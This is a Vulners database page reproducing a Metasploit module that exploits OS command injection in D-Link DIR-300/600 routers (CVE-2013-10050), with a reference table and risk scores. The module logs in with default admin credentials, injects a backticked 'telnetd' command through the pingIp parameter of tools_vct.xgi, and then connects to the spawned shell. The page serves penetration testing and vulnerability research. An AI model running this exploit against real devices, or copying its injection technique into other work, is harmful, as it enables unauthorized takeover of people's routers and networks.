D-Link Devices Unauthenticated Remote Command Execution
🗓️ 22 Apr 2013 00:00:00Reported by Michael Messner <[email protected]>, juan vazquez <[email protected]>Type
metasploit🔗 www.rapid7.com👁 26 Views
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2013-10050 | 1 Aug 202520:39 | – | attackerkb | |
| The vulnerability of the web interface of D-Link DIR-300 and DIR-600 microprogrammed software routers allows a hacker to execute arbitrary commands. | 8 Aug 202500:00 | – | bdu_fstec | |
| CVE-2013-10050 | 29 May 201815:50 | – | circl | |
| D-Link DIR-615和D-Link DIR-300 安全漏洞 | 1 Aug 202500:00 | – | cnnvd | |
| CVE-2013-10050 | 1 Aug 202520:39 | – | cve | |
| CVE-2013-10050 D-Link Devices tools_vct.xgi Authenticated RCE | 1 Aug 202520:39 | – | cvelist | |
| EUVD-2013-7273 | 7 Oct 202500:30 | – | euvd | |
| CVE-2013-10050 | 1 Aug 202521:15 | – | nvd | |
| D-Link DIR-300 Multiple Vulnerabilities (2011 - 2024) | 16 May 202500:00 | – | openvas | |
| PT-2025-31687 | 15 Oct 201200:00 | – | ptsecurity |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Various D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
credentials. According to the vulnerability discoverer, more D-Link devices may
be affected.
},
'Author' => [
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-10050' ],
[ 'OSVDB', '92698' ],
[ 'EDB', '25024' ],
[ 'BID', '59405' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
],
'DisclosureDate' => '2013-04-22',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),
]
)
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
]
)
end
def tel_timeout
(datastore['TelnetTimeout'] || 10).to_i
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25).to_i
end
def exploit
user = datastore['USERNAME']
if datastore['PASSWORD'].nil?
pass = ""
else
pass = datastore['PASSWORD']
end
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to login with #{user} / #{pass}")
login_path = "/login.php"
# valid login response includes the following
login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"
begin
res = send_request_cgi({
'uri' => login_path,
'method' => 'POST',
'vars_post' => {
"ACTION_POST" => "LOGIN",
"LOGIN_USER" => "#{user}",
"LOGIN_PASSWD" => "#{pass}",
"login" => "+Log+In+"
}
})
if res.nil?
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
end
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
end
if (res.code == 404)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
end
if (res.body) =~ /#{login_check}/
print_good("#{Rex::Socket.to_authority(rhost, rport)} - Successful login #{user}/#{pass}")
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
def exploit_telnet
telnetport = rand(32767) + 32768
print_status("#{Rex::Socket.to_authority(rhost, rport)} - Telnetport: #{telnetport}")
cmd = "telnetd -p #{telnetport}"
# starting the telnetd gives no response
request(cmd)
print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to establish a telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
add_socket(sock)
print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{Rex::Socket.to_authority(rhost, rport)} - Telnet session successfully established...")
end
handler(sock)
end
def request(cmd)
uri = '/tools_vct.xgi'
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'set/runtime/switch/getlinktype' => "1",
'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
'pingIP' => ""
},
'method' => 'GET',
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
# Since there isn't user/password negotiation, just wait until the prompt is there
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while (true)
data = sock.get_once(-1, tel_timeout)
return nil if not data or data.length == 0
if data =~ /\x23\x20$/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Apr 2013 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.18.8
CVSS 48.7
EPSS0.09637
SSVC